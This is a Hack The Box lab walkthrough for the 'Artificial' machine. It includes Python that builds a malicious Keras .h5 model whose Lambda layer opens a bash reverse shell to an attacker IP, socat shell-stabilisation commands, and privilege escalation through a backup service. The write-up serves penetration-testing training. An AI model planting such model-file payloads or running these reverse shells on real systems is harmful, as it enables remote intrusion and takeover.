Artificial
A complete walkthrough of the "Artificial" machine from Hack The Box, detailing the path from exploiting a Keras model upload vulnerability to achieving root access through a backup application privilege escalation.
Artificial
Active Machine Notice
This machine is currently ACTIVE on Hack The Box. In compliance with HTB's write-up policy, sensitive information including credentials, flags, and certain exploitation details have been redacted. A full unredacted write-up will be published after the machine is retired.
Initial Enumeration¶
Starting by performing a SYN scan via nmap to identify open ports:
sudo nmap -sS -Pn -n 10.10.11.74 -oN all_syn.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 12:53 EDT
Nmap scan report for 10.10.11.74
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
Piping the results into an enumeration scan:
PORTS=$(grep "open" all_syn.txt | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'); sudo nmap -sVC -Pn -n -p $PORTS 10.10.11.74 -oN nmap_svc_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 12:55 EDT
Nmap scan report for 10.10.11.74
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
The scan reveals a web server redirecting to artificial.htb. After adding the domain to /etc/hosts, I navigate to the website.
Initial Foothold¶
Web Application Analysis¶
Browsing to port 80 reveals a web application that allows users to upload and test machine learning models:

I create an account and upload a fake .h5 file to test the application's functionality:

Vulnerability Research¶
Tracking the traffic through Burp Suite reveals the application is using Keras models:

Research into Keras and .h5 file vulnerabilities leads to several CVEs related to remote code execution through Lambda layers in TensorFlow models:
- How to Convert a Keras SavedModel into a Browser-Based Web App
- CVE-2025-1550: Remote Code Execution via Keras Models
- Exposing Keras Lambda Exploits in TensorFlow Models
- TensorFlow HDF5 RCE PoC
Exploit Development¶
After testing several PoCs without success, I combined multiple approaches to create a working exploit.
Step 1: Create a basic legitimate model:
import tensorflow as tf
from tensorflow import keras
from keras import layers, models
import numpy as np
import socket
import os
import pty
def create_malicious_model():
x_train = np.random.rand(1000, 20)
y_train = np.random.randint(0, 2, size=(1000, ))
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(20,)),
layers.Dense(1, activation='sigmoid'),
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(x_train, y_train, epochs=1, batch_size=32)
model.save('malicious_model.h5')
print("Malicious model saved as 'malicious_model.h5'")
if __name__ == "__main__":
create_malicious_model()
Step 2: Inject the malicious Lambda layer with reverse shell:
import tensorflow.keras
import tensorflow as tf
MODEL_PATH = "malicious_model.h5"
model = tensorflow.keras.models.load_model(MODEL_PATH)
def exploit(x):
import os
os.system("bash -c 'sh -i >& /dev/tcp/10.10.16.4/9999 0>&1'")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Note: Ensure to use tensorflow-cpu==2.13.1 as specified by the application.
Upload exploit.h5 and trigger the predict feature to receive a reverse shell:

Shell Stabilization¶
Stabilize the shell using socat:
On the attacking machine:
socat file:`tty`,raw,echo=0 tcp-listen:4445
On the target (after transferring socat):
chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.3:4445

Privilege Escalation¶
Credential Discovery¶
Investigating the application files reveals a secret key:

[REDACTED]
Checking the SQLite database yields password hashes:

After attempting to crack the hash with hashcat:

Lateral Movement¶
While su didn't work with the discovered password, SSH connection was successful:
ssh oliver@localhost
# Password: [REDACTED]

Note: This discrepancy occurs because su and SSH use different PAM configurations (/etc/pam.d/su vs /etc/pam.d/sshd), or due to shell restrictions and namespace isolation.

Backup File Analysis¶
As a member of the sysadm group, we have access to backup files:
find / -group sysadm -ls 2>/dev/null
293066 51132 -rw-r----- 1 root sysadm 52357120 Mar 4 2025 /var/backups/backrest_backup.tar.gz
Transferring and examining the backup reveals configuration files:

Found credentials for the backup application: [REDACTED]
Port Forwarding and Exploitation¶
Forward the backup service port:
ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74
Login with the discovered credentials:

Create a repository with the location set to /tmp/priv_esc:

Execute the backup command targeting the root directory:
backup /root
After the backup completes, click "Index Snapshots", then restore to path:

Download the restored files:

Extract the root flag from the archive:

Conclusion¶
The Artificial machine demonstrated a realistic attack path involving machine learning model exploitation, credential discovery, and backup service abuse to achieve complete system compromise.